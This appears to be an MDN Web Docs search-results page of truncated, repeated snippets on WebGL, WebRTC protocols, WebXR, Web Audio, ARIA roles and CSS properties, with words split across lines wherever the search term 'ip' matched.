the webglrenderingcontext.blendfuncseparate() method of the webgl api defines which function is used for blending pixel arithmetic for rgb and alpha components separately. syntax void gl.blendfuncseparate(srcrgb, dstrgb, srcalpha, dstalpha); parameters srcrgb a glenum specifying a mult
iplier for the red, green and blue (rgb) source blending factors. the default value is gl.one. for possible values, see below. ...
...the webgl api defines which function is used for blending pixel arithmetic for rgb and alpha components separately. syntax void gl.blendfuncseparate(srcrgb, dstrgb, srcalpha, dstalpha); parameters srcrgb a glenum specifying a mult
iplier for the red, green and blue (rgb) source blending factors. the default value is gl.one. for possible values, see below. dstrgb a glenum specifying a mult
iplier for the red, green and blue (rgb) destination blending factors. the default value is gl.zero. for possible values, see below. srcalpha a glenum specifying a mult
iplier for the alpha source blending factor. the default value is gl.one. for possible values, see below. dstalpha a glenum specifying a mult
iplier for the alpha destination blending factor. the default value is gl.zero. for possi...
...hrown. ...
...And 4 more matches
WebGLRenderingContext.getTexParameter() - Web APIs
xture_2d: a two-dimensional texture. gl.texture_cube_map: a cube-mapped texture. when using a webgl 2 context, the following values are available additionally: gl.texture_3d: a three-dimensional texture. gl.texture_2d_array: a two-dimensional array texture. pname a glenum specifying the information to query. ...
... gl.texture_wrap_s glenum wrapping function for texture coordinate s gl.repeat (default value), gl.clamp_to_edge, gl.mirrored_repeat. ...
... gl.texture_wrap_s glenum wrapping function for texture coordinate s gl.repeat (default value), gl.clamp_to_edge, gl.mirrored_repeat. ...
...And 4 more matches
Adding 2D content to a WebGL context - Web APIs
n the gpu. together, a set of vertex and fragment shaders is called a shader program. let's take a quick look at the two types of shader, with the example in mind of drawing a 2d shape into the webgl context. vertex shader each time a shape is rendered, the vertex shader is run for each vertex in the shape. its job is to transform the input vertex from its original coordinate system into the cl
ip space coordinate system used by webgl, in which each axis has a range from -1.0 to 1.0, regardless of aspect ratio, actual size, or any other factors. the vertex shader must perform the needed transforms on the vertex's position, make any other adjustments or calculations it needs to make on a per-vertex basis, then return the transformed vertex by saving it in a special variable provided by gls...
...within the face's texture of the texel to apply to the vertex, apply the normals to determine the lighting factor to apply to the vertex, and so on. this information can then be stored in varyings or attributes as appropriate to be shared with the fragment shader. our vertex shader below receives vertex position values from an attribute we define called avertexposition. that position is then mult
iplied by two 4x4 matrices we provide called uprojectionmatrix and umodelviewmatrix; gl_position is set to the result. for more info on projection and other matrixes you might find this article useful. // vertex shader program const vssource = ` attribute vec4 avertexposition; uniform mat4 umodelviewmatrix; uniform mat4 uprojectionmatrix; void main() { gl_position = upr...
...const shaderprogram = initshaderprogram(gl, vssource, fssource); after we've created a shader program we need to look up the locations that webgl assigned to our inputs. in this case we have one attribute and two uniforms. attributes receive values from buffers. each iteration of the vertex shader receives the next value from the buffer assigned to that attribute. uniforms are similar to javascr
ipt global variables. they stay the same value for all iterations of a shader. since the attribute and uniform locations are specific to a single shader program we'll store them together to make them easy to pass around const programinfo = { program: shaderprogram, attriblocations: { vertexposition: gl.getattriblocation(shaderprogram, 'avertexposition'), }, uniformlocations:...
...And 4 more matches
WebGL: 2D and 3D graphics for the web - Web APIs
webgl does so by introducing an api that closely conforms to opengl es 2.0 that can be used in html5 <canvas> elements. this conformance makes it possible for the api to take advantage of hardware graphics acceleration provided by the user's device. support for webgl is present in firefox 4+, google chrome 9+, opera 12+, safari 5.1+, internet explorer 11+, and microsoft edge build 10240+; however, the user's device must also have hardware that supports these features. ...
...cation webglvertexarrayobject extensions angle_instanced_arrays ext_blend_minmax ext_color_buffer_float ext_color_buffer_half_float ext_disjoint_timer_query ext_float_blend ext_frag_depth ext_srgb ext_shader_texture_lod ext_texture_compression_bptc ext_texture_compression_rgtc ext_texture_filter_anisotropic khr_parallel_shader_compile oes_element_index_uint oes_fbo_render_m
ipmap oes_standard_derivatives oes_texture_float oes_texture_float_linear oes_texture_half_float oes_texture_half_float_linear oes_vertex_array_object ovr_multiview2 webgl_color_buffer_float webgl_compressed_texture_astc webgl_compressed_texture_atc webgl_compressed_texture_etc webgl_compressed_texture_etc1 webgl_compressed_texture_pvrtc webgl_compressed_texture_s3tc webgl_compressed_...
...bgl constants webgl types webgl 2 webgl 2 is a major update to webgl which is provided through the webgl2renderingcontext interface. it is based on opengl es 3.0 and new features include: 3d textures, sampler objects, uniform buffer objects, sync objects, query objects, transform feedback objects, promoted extensions that are now core to webgl 2: vertex array objects, instancing, mult
iple render targets, fragment depth. see also the blog post "webgl 2 lands in firefox" and webglsamples.org/webgl2samples for a few demos. guides and tutorials below, you'll find an assortment of guides to help you learn webgl concepts and tutorials that offer step-by-step lessons and examples. guides data in webgl a guide to variables, buffers, and other types of data used when writing web...
...And 4 more matches
Introduction to the Real-time Transport Protocol (RTP) - Web APIs
lying layers of the network stack to the physical network connection, the intervening networks, the performance of the remote endpoint, noise levels, traffic levels, and so forth. since rtp is simply a data transport, it is augmented by the closely-related rtp control protocol (rtcp), which is defined in rfc 3550, section 6. rtcp adds features including quality of service (qos) monitoring, partic
ipant information sharing, and the like. it isn't adequate for the purposes of fully managing users, membersh
ips, permissions, and so forth, but provides the basics needed for an unrestricted multi-user communication session. the very fact that rtcp is defined in the same rfc as rtp is a clue as to just how closely-interrelated these two protocols are. capabilities of rtp rtp's primary benefits i...
... rtp's primary benefits in terms of webrtc include: generally low latency. packets are sequence-numbered and time-stamped for reassembly if they arrive out of order. this lets data sent using rtp be delivered on transports that don't guarantee ordering or even guarantee delivery at all. this means rtp can be -- but is not required to be -- used atop udp for its performance as well as its mult
iplexing and checksum features. rtp supports multicast; while this isn't yet important for webrtc, it's likely to matter in the future, when webrtc is (hopefully) enhanced to support multi-user conversations. rtp isn't limited to use in audiovisual communication. it can be used for any form of continuous or active data transfer, including data streaming, active badges or status display updates, or...
... obtained by calling rtcpeerconnection.getreceivers(). rtcrtptransceiver an rtcrtptransceiver is a pair of one rtp sender and one rtp receiver which share an sdp mid attribute, which means they share the same sdp media m-line (representing a bidirectional srtp stream). ...
...And 4 more matches
Introduction to WebRTC protocols - Web APIs
top of which the webrtc api is built. ice interactive connectivity establishment (ice) is a framework to allow your web browser to connect with peers. there are many reasons why a straight up connection from peer a to peer b simply won't work. it needs to bypass firewalls that would prevent opening connections, give you a unique address if like most situations your device doesn't have a public
ip address, and relay data through a server if your router doesn't allow you to directly connect with peers. ice uses stun and/or turn servers to accomplish this, as described below. stun session traversal utilities for nat (stun) (acronym within an acronym) is a protocol to discover your public address and determine any restrictions in your router that would prevent a direct connection with a pee...
...protocol to discover your public address and determine any restrictions in your router that would prevent a direct connection with a peer. the client will send a request to a stun server on the internet who will reply with the client's public address and whether or not the client is accessible behind the router's nat. nat network address translation (nat) is used to give your device a public
ip address. a router will have a public
ip address and every device connected to the router will have a private
ip address. requests will be translated from the device's private
ip to the router's public
ip with a unique port. that way you don't need a unique public
ip for each device but can still be discovered on the internet. some routers will have restrictions on who can connect to devices on t...
...in this situation we need to turn to turn. turn some routers using nat employ a restriction called 'symmetric nat'. this means the router will only accept connections from peers you've previously connected to. ...
...And 4 more matches
Geometry and reference spaces in WebXR - Web APIs
at a fundamental level, rendering of scenes for webxr presentation in either augmented reality or virtual reality contexts is performed using webgl, so the two apis share much of the same design language. however, in order to provide the ability to present scenes in true 3d using xr headsets and other such equ
ipment, webxr has additional concepts that must be understood. in this article, we introduce the ways in which webxr expands upon the geometry of webgl, and how the positions and orientations of objects--both physical and virtual--are described in relation to one another using spaces and, in particular, reference spaces. the article spatial tracking in webxr builds upon the information provided here to cover how the physical position and orientation of the user's head, as well as p...
...form to adjust the coordinates of all vertices. the most efficient way, of course, is to design your objects and code to use the same coordinate system as webgl does. the webgl coordinates and lengths are transformed automatically at render time to the size of the viewport in which the scene is being rendered. angles angles are specified using radians. to convert degrees to radians, simply mult
iply the value in degrees by ?/180. the following code sn
ippet shows two simple functions, degreestoradians() and radianstodegrees(), which convert back and forth between the two units for measuring angles. const radians_per_degree = math.pi / 180.0; let degreestoradians = (deg) => deg * radians_per_degree; let radianstodegrees = (rad) => rad / radians_per_degree; times and durations note that ...
...ace. the currently available reference space types, which are defined by the xrreferencespacetype enumeration, are shown below. the reference space returned by xrsession.requestreferencespace() is either xrreferencespace or xrboundedreferencespace. the "interface" column in the table below indicates which of the two types is returned for each reference space type constant.. ...
...And 4 more matches
Basic concepts behind Web Audio API - Web APIs
reserved for low-frequency effect (lfe) outputs; these are often referred to as subwoofers. each input or output is composed of one or more audio channels, which together represent a specific audio layout. any discrete channel structure is supported, including mono, stereo, quad, 5.1, and so on. audio sources can be obtained in a number of ways: sound can be generated directly in javascr
ipt by an audio node (such as an oscillator). created from raw pcm data (the audio context has methods to decode supported audio formats). taken from html media elements (such as <video> or <audio>). taken directly from a webrtc mediastream (such as a webcam or microphone). audio data: what's in a sample when an audio signal is processed, sampling means the conversion of a continuous signal to...
...rophone). audio data: what's in a sample when an audio signal is processed, sampling means the conversion of a continuous signal to a discrete signal; or put another way, a continuous sound wave, such as a band playing live, is converted to a sequence of samples (a discrete-time signal) that allow a computer to handle the audio in distinct blocks. a lot more information can be found on the wik
ipedia page sampling (signal processing). audio buffers: frames, samples and channels an audiobuffer takes as its parameters a number of channels (1 for mono, 2 for stereo, etc), a length, meaning the number of sample frames inside the buffer, and a sample rate, which is the number of sample frames played per second. a sample is a single float32 value that represents the value of the audio stream...
...th property will still be 44100 since it's equal to the number of frames. when a buffer plays, you will hear the left most sample frame, and then the one right next to it, etc. in the case of stereo, you will hear both channels at the same time. sample frames are very useful, because they are independent of the number of channels, and represent time, in a useful way for doing precise audio man
ipulation. note: to get a time in seconds from a frame count, simply divide the number of frames by the sample rate. to get a number of frames from a number of samples, simply divide by the channel count. here's a couple of simple examples: var context = new audiocontext(); var buffer = context.createbuffer(2, 22050, 44100); note: in digital audio, 44,100 hz (alternately represented as 44.1 k...
...And 4 more matches
Window - Web APIs
the window interface represents a window containing a dom document; the document property points to the dom document loaded in that window. a window for a given document can be obtained using the document.defaultview property. a global variable, window, representing the window in which the scr
ipt is running, is exposed to javascr
ipt code. the window interface is home to a variety of functions, namespaces, objects, and constructors which are not necessarily directly associated with the concept of a user interface window. however, the window interface is a suitable place to include these items that need to be globally available. many of these are documented in the javascr
ipt reference and the dom reference. in a tabbed browser, each tab is represented by its own window object; the global w...
...d constructors which are not necessarily directly associated with the concept of a user interface window. however, the window interface is a suitable place to include these items that need to be globally available. many of these are documented in the javascr
ipt reference and the dom reference. in a tabbed browser, each tab is represented by its own window object; the global window seen by javascr
ipt code running within a given tab always represents the tab in which the code is running. that said, even in a tabbed browser, some properties and methods still apply to the overall window that contains the tab, such as resizeto() and innerheight. generally, anything that can't reasonably pertain to a tab pertains to the window instead. <div id="interfacediagram" style="display: inline-block;...
... quadrilaterial object, that is one having four corners and four sides. window.domrect read only returns a reference to a domrect object, which represents a rectangle. window.domrectreadonly read only returns a reference to a domrectreadonly object, which represents a rectangle. window.event read only returns the current event, which is the event currently being handled by the javascr
ipt code's context, or undefined if no event is currently being handled. the event object passed directly to event handlers should be used instead whenever possible. window.frameelement read only returns the element in which the window is embedded, or null if the window is not embedded. window.frames read only returns an array of the subframes in the current window. window.fullscreen this pr...
...And 4 more matches
XRHandedness - Web APIs
ller is being held in, worn on, or is attached to the user's right hand. examples one important usage scentario for handedness is to determine which hand a controller is in so you can draw a representation of that hand (or the device that hand is controlling) in virtual space. ...
...worn on, or is attached to the user's right hand. examples one important usage scentario for handedness is to determine which hand a controller is in so you can draw a representation of that hand (or the device that hand is controlling) in virtual space. ...
...ser's right hand. examples one important usage scentario for handedness is to determine which hand a controller is in so you can draw a representation of that hand (or the device that hand is controlling) in virtual space. ...
...And 4 more matches
XRInputSource.handedness - Web APIs
ols built into a headset or an input device attached to the head or body. examples one important usage scentario for handedness is to determine which hand a controller is in so you can draw a representation of that hand (or the device that hand is controlling) in virtual space. ...
...t or an input device attached to the head or body. examples one important usage scentario for handedness is to determine which hand a controller is in so you can draw a representation of that hand (or the device that hand is controlling) in virtual space. ...
... the head or body. examples one important usage scentario for handedness is to determine which hand a controller is in so you can draw a representation of that hand (or the device that hand is controlling) in virtual space. ...
...And 4 more matches
Using the group role - Accessibility
when the role is added to an element, the browser will send out an accessible group event to assistive technology products which can then notify the user about it. ...
...when the role is added to an element, the browser will send out an accessible group event to assistive technology products which can then notify the user about it. ...
... having a group role in the operating system's accessibility api. fire an accessible group event using the operating system's accessibility api if it supports it. ...
...And 4 more matches
ARIA: Main role - Accessibility
ntent that is directly related to or expands upon the central topic of a document, or the central functionality of an application. <div id="main" role="main"> <h1>avocados</h1> <!-- main section content --> </div> this is the main section of a document that discusses avocados. subsections of this document could discuss their history, the different types, regions where they grow, etc. descr
iption the main role is a navigational landmark role identifying the main content of a document. landmarks can be used by assistive technology to quickly identify and navigate to large sections of the document. by classifying and labeling sections of a page, structural information conveyed visually through layout can be represented programmatically. screen readers use landmark roles to provide keyb...
...e technology to quickly identify and navigate to large sections of the document. by classifying and labeling sections of a page, structural information conveyed visually through layout can be represented programmatically. screen readers use landmark roles to provide keyboard navigation to important sections of a page. for those navigating via landmark roles, the main role is an alternative for "sk
ip to main content" links.there should only be one main landmark role per document. the <main> element has a role of main. developers should always prefer using the correct semantic html element over using aria. documents and applications can be nested in the dom, which may lead to having more than one main element as dom descendants. if this is the case, include aria-owns to identify the relation...
...o main content" links.there should only be one main landmark role per document. the <main> element has a role of main. developers should always prefer using the correct semantic html element over using aria. documents and applications can be nested in the dom, which may lead to having more than one main element as dom descendants. if this is the case, include aria-owns to identify the relationsh
ip of the main to it's document or application ancestor. example <body> <!-- primary navigation --> <div role="main"> <h1>the the first indochina war</h1> <!-- article content --> </div> <!-- sidebar and footer --> </body> accessibility concerns use only one main role per document the main landmark role should only be used once per document. if a document contains two main ro...
...And 4 more matches
ARIA: img role - Accessibility
the aria img role can be used to identify mult
iple elements inside page content that should be considered as a single image. these elements could be images, code sn
ippets, text, emojis, or other content that can be combined to deliver information in a visual manner. <div role="img" aria-label="descr
iption of the overall image"> <img src="graphic1.png" alt=""> <img src="graphic2.png"> </div> descr
iption any set of content that should be consumed as a single image (which could include images, video, audio, code sn
ippets, emojis, or other content) can be identified using role="img". you shouldn't count on the alt text of individual elements images for conveying context to assistive technologies; most screenreaders will consider the element with role="img" set on it to be to be like a ...
...audio, code sn
ippets, emojis, or other content) can be identified using role="img". you shouldn't count on the alt text of individual elements images for conveying context to assistive technologies; most screenreaders will consider the element with role="img" set on it to be to be like a black box, and not access the individual elements inside it. ...
...t with role="img" set on it to be to be like a black box, and not access the individual elements inside it. therefore, provide a comprehensive overall descr
iptive alt text for image, either in the surrounding text, or by using an aria-label attribute, with optional alt attributes for search engines or sighted users to be written to the page should an image fail: <div role="img" aria-label="descr
iption of the overall image"> <img src="graphic1.png" alt=""> <img src="graphic2.png"> </div> if you wish to add a caption or label to your image that is visible on the page, you can do using: aria-labelledby when the text is a concise label. aria-describedby when the text is a longer descr
iption. for example: <div role="img" aria-labelledby="image-1"> ... <p id="image-1">text that d...
...And 4 more matches
ARIA: dialog role - Accessibility
ract with content outside of the dialog) or modal (only the content in the dialog can be interacted with). <div role="dialog" aria-labelledby="dialog1title" aria-describedby="dialog1desc"> <h2 id="dialog1title">your personal details were successfully updated</h2> <p id="dialog1desc">you can change your details at any time in the user account section.</p> <button>close</button> </div> descr
iption marking up a dialog element with the dialog role helps assistive technology identify the dialog's content as being grouped and separated from the rest of the page content. however, adding role="dialog" alone is not sufficient to make a dialog accessible. additionally, the following needs to be done: the dialog must be properly labeled keyboard focus must be managed correctly the secti...
...for the controls inside it (similar to how a <legend> element provides a grouping label for the controls inside a <fieldset> element). if a dialog already has a visible title bar, the text inside that bar can be used to label the dialog itself. the best way to achieve this is by using the aria-labelledby attribute to the role="dialog" element. ...
...as a visible title bar, the text inside that bar can be used to label the dialog itself. the best way to achieve this is by using the aria-labelledby attribute to the role="dialog" element. additionally, if the dialog contains additional descr
iptive text besides the dialog title, this text can be associated with the dialog using the aria-describedby attribute. ...
...And 4 more matches
ARIA: textbox role - Accessibility
the textbox role is used to identify an element that allows the input of free-form text. whenever possible, rather than using this role, use an <input> element with type="text", for single-line input, or a <textarea> element for multi-line input. descr
iption when an element has the textbox role, the browser sends an accessible textbox event to assistive technologies, which can then notify the user about it. the default is a single line input, in which return or enter submits the form; in this case, it is preferable to use an html <input> with type="text". to create a multi-line text box which supports line breaks, as in an html <textarea>, set aria-multiline="true". including the html contenteditable attribute ensures the text node is editable. <!-- simple text input field --> <div id="...
... line input, in which return or enter submits the form; in this case, it is preferable to use an html <input> with type="text". to create a multi-line text box which supports line breaks, as in an html <textarea>, set aria-multiline="true". including the html contenteditable attribute ensures the text node is editable. ...
...ble to use an html <input> with type="text". to create a multi-line text box which supports line breaks, as in an html <textarea>, set aria-multiline="true". including the html contenteditable attribute ensures the text node is editable. <!-- simple text input field --> <div id="txtboxlabel">enter your five-digit z
ipcode</div> <div role="textbox" contenteditable="true" aria-placeholder="5-digit z
ipcode" aria-labelledby="txtboxlabel"></div> <!-- multi-line text area --> <div id="txtboxmultilinelabel">enter the tags for the article</div> <div role="textbox" contenteditable="true" aria-multiline="true" aria-labelledby="txtboxmultilinelabel" aria-required="true"></div> semantic elements are more concise and require no javascr
ipt to support textbox features. <label for="txtbox">enter yo...
...And 4 more matches
Alerts - Accessibility
hich must be met in order to pass validation. in order to simplify this example, we'll check whether the e-mail address contains the "@" symbol, and if the name entry contains at least 1 character. if the above criteria is not met, the field's aria-invalid attribute will be given a value of "true". if the criteria was not met, the user will be notified via an alert. ...
...s not met, the field's aria-invalid attribute will be given a value of "true". if the criteria was not met, the user will be notified via an alert. instead of using the javascr
ipt 'alert' function, we'll use a simple wai-aria widget for notification. this notifies the user of the error, but allows for them continue modifying the form without losing focus (caused by the "onblur" handler in javascr
ipt's default 'alert' function). ...
... a value of "true". if the criteria was not met, the user will be notified via an alert. instead of using the javascr
ipt 'alert' function, we'll use a simple wai-aria widget for notification. this notifies the user of the error, but allows for them continue modifying the form without losing focus (caused by the "onblur" handler in javascr
ipt's default 'alert' function). ...
...And 4 more matches
ARIA - Accessibility
accessible rich internet applications (aria) is a set of attributes that define ways to make web content and web applications (especially those developed with javascr
ipt) more accessible to people with disabilities. it supplements html so that interactions and widgets commonly used in applications can be passed to assistive technologies when there is not otherwise a mechanism. for example, aria enables accessible navigation landmarks in html4, javascr
ipt widgets, form hints and error messages, live content updates, and more. many of these widgets were later incorporated into html5, and developers should prefer using the correct semantic html element over using aria, if such an element exists. for instance, native elements have built-in keyboard accessibility, roles and states. h...
...e content updates, and more. many of these widgets were later incorporated into html5, and developers should prefer using the correct semantic html element over using aria, if such an element exists. for instance, native elements have built-in keyboard accessibility, roles and states. however, if you choose to use aria, you are responsible for mimicking (the equivalent) browser behaviour in scr
ipt. here's the markup for a progress bar widget: <div id="percent-loaded" role="progressbar" aria-valuenow="75" aria-valuemin="0" aria-valuemax="100"> </div> this progress bar is built using a <div>, which has no meaning. unfortunately, there isn't a more semantic tag available to developers in html 4, so we need to include aria roles and properties. these are specified by adding attribut...
...emin="0" aria-valuemax="100"> </div> this progress bar is built using a <div>, which has no meaning. unfortunately, there isn't a more semantic tag available to developers in html 4, so we need to include aria roles and properties. these are specified by adding attributes to the element. ...
...And 4 more matches
Accessibility and Spacial Patterns - Accessibility
s which have the same luminance as their background are perceptually less securely located in space and time than are symbols with higher luminance contrast. they tend to "float" visually or be "captured" by adjacent symbols with high luminance-contrast. ...
... they can be parallel, radial, curved or straight, and may be formed by rows of repeating elements. ...
...ed by static images as well as animation. the mechanism for this is poorly understood, but is believed to be linked to "gamma oscillations" set up in the brain. these oscillations in the brain are a different kind of response than other kinds of neurological responses believed to cause photosensitive seizures. str
ipes and patterns are typical of the kinds of images that create problems, and str
ipes have been studied most closely. ...
...And 4 more matches
:disabled - CSS: Cascading Style Sheets
the :disabled css pseudo-class represents any disabled element. an element is disabled if it can't be activated (selected, clicked on, typed into, etc.) or accept focus. the element also has an enabled state, in which it can be activated or accept focus. /* selects any disabled <input> */ input:disabled { background: #ccc; } syntax :disabled examples this example shows a basic sh
ipping form. ...
...udo-class represents any disabled element. an element is disabled if it can't be activated (selected, clicked on, typed into, etc.) or accept focus. the element also has an enabled state, in which it can be activated or accept focus. /* selects any disabled <input> */ input:disabled { background: #ccc; } syntax :disabled examples this example shows a basic sh
ipping form. ...
...n, typed into, etc.) or accept focus. the element also has an enabled state, in which it can be activated or accept focus. /* selects any disabled <input> */ input:disabled { background: #ccc; } syntax :disabled examples this example shows a basic sh
ipping form. it uses the javascr
ipt change event to let the user enable/disable the billing fields. ...
...And 4 more matches
Using CSS transitions - CSS: Cascading Style Sheets
operty specifies the name or names of the css properties to which transitions should be applied. only properties listed here are animated during transitions; changes to all other properties occur instantaneously as usual. transition-duration specifies the duration over which transitions should occur. you can specify a single duration that applies to all properties during the transition, or mult
iple values to allow each property to transition over a different period of time. transition-duration: 0.5s <div class="parent"> <div class="box">lorem</div> </div> .parent { width: 250px; height:125px;} .box { width: 100px; height: 100px; background-color: red; font-size: 20px; left: 0px; top: 0px; position:absolute; -webkit-transition-property: widt...
...hover over the box to see these properties animated.</p> <div class="box">sample</div> </body> css content .box { border-style: solid; border-width: 1px; display: block; width: 100px; height: 100px; background-color: #0000ff...
...opacity, left; transition-duration: 3s, 5s, 2s, 1s; } this gets interpreted as: div { transition-property: opacity, left; transition-duration: 3s, 5s; } using transitions when highlighting menus a common use of css is to highlight items in a menu as the user hovers the mouse cursor over them. it's easy to use transitions to make the effect even more attractive. before we look at code sn
ippets, you might want to take a look at the live demo (assuming your browser supports transitions). first, we set up the menu using html: <nav> <a href="#">home</a> <a href="#">about</a> <a href="#">contact us</a> <a href="#">links</a> </nav> then we build the css to implement the look and feel of our menu. the relevant portions are shown here: a { color: #fff; background-color: #33...
...And 4 more matches
Visual formatting model - CSS: Cascading Style Sheets
a book or document printed by browser print functions. most of the information applies equally to continuous and paged media. in the visual formatting model, each element in the document tree generates zero or more boxes according to the box model. the layout of these boxes is governed by: box dimensions and type. positioning scheme (normal flow, float, and absolute positioning). relationsh
ips between elements in the document tree. external information (e.g., viewport size, intrinsic dimensions of images, etc.). much of the information about the visual formatting model is defined in css2, however, various level 3 specifications have added to this information. when reading specifications you will often find references to the model as defined in css2, so an understanding of the model...
...generates zero or more boxes as specified by that element's display property value. note: boxes are often referred to by their display type -- e.g. a box generated by an element with display: block is called a "block box" or just a "block". note however that block boxes, block-level boxes and box containers are all subtly different; see the block boxes section below for more details. ...
...lue. note: boxes are often referred to by their display type -- e.g. a box generated by an element with display: block is called a "block box" or just a "block". note however that block boxes, block-level boxes and box containers are all subtly different; see the block boxes section below for more details. the princ
ipal box when an element generates one or more boxes, one of them is the princ
ipal box, which contains its descendant boxes and generated content in the box tree, and is also the box involved in any positioning scheme. some elements may generate additional boxes in addition to the princ
ipal box, for example display: list-item generates more than one box (e.g. a princ
ipal block box and a child marker box). and some values (such as none or contents) cause the element and/or it...
...And 4 more matches
background - CSS: Cascading Style Sheets
or, image, origin and size, or repeat method. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. ...
...clude zero or one occurrences of any of the following values: <attachment> <bg-image> <position> <bg-size> <repeat-style> the <bg-size> value may only be included immediately after <position>, separated with the '/' character, like this: "center/80%". the <box> value may be included zero, one, or two times. if included once, it sets both background-origin and background-cl
ip. ...
...> <bg-size> <repeat-style> the <bg-size> value may only be included immediately after <position>, separated with the '/' character, like this: "center/80%". the <box> value may be included zero, one, or two times. if included once, it sets both background-origin and background-cl
ip. if it is included twice, the first occurrence sets background-origin, and the second sets background-cl
ip. the <background-color> value may only be included in the last layer specified. values <attachment> see background-attachment <box> see background-cl
ip and background-origin <background-color> see background-color <bg-image> see background-image <position> see background-position <repeat-style> see background-repeat <bg-size> see background-size. accessibility concerns brows...
...And 4 more matches
clear - CSS: Cascading Style Sheets
ment is moved down to clear past left floats. right is a keyword indicating that the element is moved down to clear past right floats. both is a keyword indicating that the element is moved down to clear past both left and right floats. inline-start is a keyword indicating that the element is moved down to clear floats on start side of its containing block, that is the left floats on ltr scr
ipts and the right floats on rtl scr
ipts. inline-end is a keyword indicating that the element is moved down to clear floats on end side of its containing block, that is the right floats on ltr scr
ipts and the left floats on rtl scr
ipts. formal definition initial valuenoneapplies toblock-level elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax none | left | right...
...ear floats on end side of its containing block, that is the right floats on ltr scr
ipts and the left floats on rtl scr
ipts. formal definition initial valuenoneapplies toblock-level elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax none | left | right | both | inline-start | inline-end examples clear: left html <div class="wrapper"> <p class="black">lorem
ipsum dolor sit amet, consectetuer ad
ipiscing elit. phasellus sit amet diam. duis mattis varius dui. ...
... valuenoneapplies toblock-level elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax none | left | right | both | inline-start | inline-end examples clear: left html <div class="wrapper"> <p class="black">lorem
ipsum dolor sit amet, consectetuer ad
ipiscing elit. phasellus sit amet diam. duis mattis varius dui. ...
...And 4 more matches
image-orientation - CSS: Cascading Style Sheets
t-independent correction to the orientation of an image. it should not be used for any other orientation adjustments; instead, the transform property should be used with the rotate <transform-function>. warning: this property is deprecated in the specification. its functionality may be moved into properties on the <img> and/or <picture> elements, with the possible exception of from-image. ...
...will not apply any additional image rotation; the image is oriented as encoded or as other css property values dictate. ...
...s were made obsolete in firefox 63. /* keyword values */ image-orientation: none; image-orientation: from-image; /* use exif data from the image */ /* global values */ image-orientation: inherit; image-orientation: initial; image-orientation: unset; /* obsolete values. obsolete since gecko 63 */ image-orientation: 90deg; /* rotate 90deg */ image-orientation: 90deg fl
ip; /* rotate 90deg, and fl
ip it horizontally */ image-orientation: fl
ip; /* no rotation, only applies a horizontal fl
ip */ syntax values none default initial value. will not apply any additional image rotation; the image is oriented as encoded or as other css property values dictate. from-image the exif information contained in the image will be used to rotate the image appropriately. <angle> obsolete since gecko ...
...And 4 more matches
overflow-x - CSS: Cascading Style Sheets
ent's left and right edges. this may be nothing, a scroll bar, or the overflow content. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax /* keyword values */ overflow-x: visible; overflow-x: hidden; overflow-x: cl
ip; overflow-x: scroll; overflow-x: auto; /* global values */ overflow-x: inherit; overflow-x: initial; overflow-x: unset; the overflow-x property is specified as a single keyword chosen from the list of values below. values visible content is not cl
ipped and may be rendered outside the padding box's left and right edges. if overflow-y is hidden, scroll or auto and this property is visible, ...
...*/ overflow-x: inherit; overflow-x: initial; overflow-x: unset; the overflow-x property is specified as a single keyword chosen from the list of values below. values visible content is not cl
ipped and may be rendered outside the padding box's left and right edges. if overflow-y is hidden, scroll or auto and this property is visible, it will implicitly compute to auto. hidden content is cl
ipped if necessary to fit horizontally in the padding box. no scrollbars are provided. cl
ip like for hidden, the content is cl
ipped to the element's padding box. the difference between cl
ip and hidden is that the cl
ip keyword also forbids all scrolling, including programmatic scrolling. the box is not a scroll container, and does not start a new formatting context. if you wish to start a new for...
...(this prevents scrollbars from appearing or disappearing when the content changes.) printers may still print overflowing content. auto depends on the user agent. ...
...And 4 more matches
shape-image-threshold - CSS: Cascading Style Sheets
t; syntax values <alpha-value> sets the threshold used for extracting a shape from an image. the shape is defined by the pixels whose alpha value is greater than the threshold. values outside the range 0.0 (fully transparent) to 1.0 (fully opaque) are clamped to this range. formal definition initial value0.0applies tofloatsinheritednocomputed valuethe same as the specified value after cl
ipping the <number> to the range [0.0, 1.0].animation typea number formal syntax <alpha-value>where <alpha-value> = <number> | <percentage> examples aligning text to a gradient this example creates a <div> block with a gradient background image. the gradient is established as a css shape using shape-outside, so that pixels within the gradient which are at least 20% opaque (that is, those pixels...
...ercentage> examples aligning text to a gradient this example creates a <div> block with a gradient background image. the gradient is established as a css shape using shape-outside, so that pixels within the gradient which are at least 20% opaque (that is, those pixels with an alpha component greater than 0.2) are considered part of the shape. ...
...to a gradient this example creates a <div> block with a gradient background image. the gradient is established as a css shape using shape-outside, so that pixels within the gradient which are at least 20% opaque (that is, those pixels with an alpha component greater than 0.2) are considered part of the shape. html <div id="gradient-shape"></div> <p> lorem
ipsum dolor sit amet, consectetur ad
ipisicing elit. ...
...And 4 more matches
HTML5 - Developer guides
dware. device access: allowing for the usage of various input and output devices. styling: letting authors write more sophisticated themes. semantics sections and outlines in html5 a look at the new outlining and sectioning elements in html5: <section>, <article>, <nav>, <header>, <footer> and <aside>. using html5 audio and video the <audio> and <video> elements embed and allow the man
ipulation of new multimedia content. forms improvements a look at the constraint validation api, several new attributes, new values for the <input> attribute type and the new <output> element. new semantic elements beside sections, media and forms elements, there are numerous new elements, like <mark>, <figure>, <figcaption>, <data>, <time>, <output>, <progress>, or <meter> and <main>, increasin...
...ide. indexeddb indexeddb is a web standard for the storage of significant amounts of structured data in the browser and for high performance searches on this data using indexes. using files from web applications support for the new html5 file api has been added to gecko, making it possible for web applications to access local files selected by the user. this includes support for selecting mult
iple files using the <input> of type file html element's new mult
iple attribute. there also is filereader. multimedia using html5 audio and video the <audio> and <video> elements embed and allow the man
ipulation of new multimedia content. webrtc this technology, where rtc stands for real-time communication, allows connecting to other people and controlling videoconferencing directly in the b...
...api for <canvas> elements the html5 text api is now supported by <canvas> elements. webgl webgl brings 3d graphics to the web by introducing an api that closely conforms to opengl es 2.0 that can be used in html5 <canvas> elements. svg an xml-based format of vectorial images that can directly be embedded in the html. ...
...And 4 more matches
Printing - Developer guides
